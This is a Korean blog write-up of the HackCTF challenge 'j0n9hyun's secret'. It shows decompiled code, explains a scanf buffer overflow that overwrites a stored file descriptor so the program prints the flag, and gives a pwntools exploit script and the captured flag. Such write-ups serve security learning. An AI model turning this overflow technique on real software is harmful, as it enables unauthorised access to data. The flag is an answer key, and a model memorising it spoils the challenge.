ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • j0n9hyun's secret
    CTF/HackCTF 2021. 2. 7. 21:12

    Disassembly 디스어셈블리


    undefined8 main()
    {
        setvbuf(*(int64_t *)0x6ca748, 0, 2, 0);
        setvbuf(*(int64_t *)0x6ca740, 0, 2, 0);
        setvbuf(*(int64_t *)0x6ca738, 0, 2, 0);
        iVar2 = 0x72;
        *(undefined4 *)0x6cce98 = open("top_secret");
        iVar2 = printf("input name: ");
        scanf("%s", 0x6ccd60);
        iVar1 = read(*(undefined4 *)0x6cce98, 0x6ccd6a, 300);
        write(1, 0x6ccd6a, (int64_t)iVar1);
        return 0;
    }

    main은 top_secret이라는 이름의 파일에서 정보를 읽어와 출력한다. 

     

    바이너리를 로컬에서 실행하면 다음과 같은 파일이 생성된다.

     

    flag

    void fcn.004009ae(void)
    {
        open("flag", 'r');
        return;
    }

    크로스 레퍼런스를 통해 살펴보면 프로세스를 시작할 때 flag를 여는 함수가 실행되는 것을 알 수 있다.

    Buffer Overflow


    scanf에서 버퍼 오버플로우가 발생하는 것을 이용하자. read의 첫 번째 인자를 시작할 때 열린 flag의 fd인 3으로 덮어쓰면 문제를 해결할 수 있다.

    Code

    더보기
    from pwn import *
    
    binary = "./j0n9hyun_secret"
    server = "ctf.j0n9hyun.xyz"
    port = 3031
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = process(binary)
    	gdb.attach(p)
    
    e = ELF(binary)
    r = ROP(e)
    
    e.checksec()
    
    payload = b"\x90"*0x138
    payload += p8(3)
    p.sendline(payload)
    
    p.interactive()

    Flag

    HackCTF{ez_fd_0v4rwr1t4}

    'CTF > HackCTF' 카테고리의 다른 글

    UAF  (0) 2021.02.09
    Beginner_Heap  (0) 2021.02.09
    SysROP  (0) 2021.02.05
    Pwning  (0) 2021.02.05
    Unexploitable #3  (0) 2021.02.05

    댓글

Designed by Tistory.